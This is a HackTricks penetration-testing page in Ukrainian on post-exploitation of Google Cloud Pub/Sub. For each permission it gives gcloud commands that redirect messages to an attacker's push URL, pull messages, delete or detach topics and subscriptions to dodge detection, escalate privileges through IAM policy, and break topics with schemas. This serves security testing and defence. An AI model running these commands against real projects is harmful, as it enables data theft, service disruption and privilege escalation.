GCP - Pub/Sub Post Exploitation

Support HackTricks

Pub/Sub

Для отримання додаткової інформації про Pub/Sub перегляньте наступну сторінку:

GCP - Pub/Sub Enum

pubsub.topics.publish

Опублікуйте повідомлення в темі, корисно для відправки несподіваних даних та активації несподіваних функцій або експлуатації вразливостей:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Корисно для запобігання отриманню повідомлень підпискою, можливо, щоб уникнути виявлення.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Корисно для запобігання отриманню повідомлень підпискою, можливо, щоб уникнути виявлення. Можливо видалити тему, навіть якщо до неї прикріплені підписки.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Використовуйте цей дозвіл, щоб оновити деякі налаштування теми, щоб порушити її, такі як --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Надайте собі дозвіл виконувати будь-які з попередніх атак.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Отримайте всі повідомлення на веб-сервері:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Створіть підписку та використовуйте її для витягування повідомлень:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Видалення підписки може бути корисним для порушення системи обробки журналів або чогось подібного:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Використовуйте цей дозвіл, щоб оновити деякі налаштування, щоб повідомлення зберігалися в місці, до якого ви маєте доступ (URL, таблиця Big Query, Bucket) або просто щоб порушити це.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Надайте собі дозволи, необхідні для виконання будь-яких з раніше згаданих атак.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Атакуйте схему на тему, щоб повідомлення не відповідали їй, і, отже, тема була порушена. Якщо немає жодних схем, можливо, вам потрібно буде створити одну.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Це може виглядати як видалення схеми, але ви зможете надсилати повідомлення, які не відповідають схемі. Однак, оскільки схема буде видалена, жодне повідомлення насправді не потрапить у тему. Тож це БЕЗГЛУЗДО:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Надайте собі дозволи, необхідні для виконання будь-яких з раніше згаданих атак.

pubsub.snapshots.create, pubsub.snapshots.seek

Це створить знімок усіх не підтверджених повідомлень і поверне їх назад до підписки. Не дуже корисно для атакуючого, але ось так:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Підтримайте HackTricks

Last updated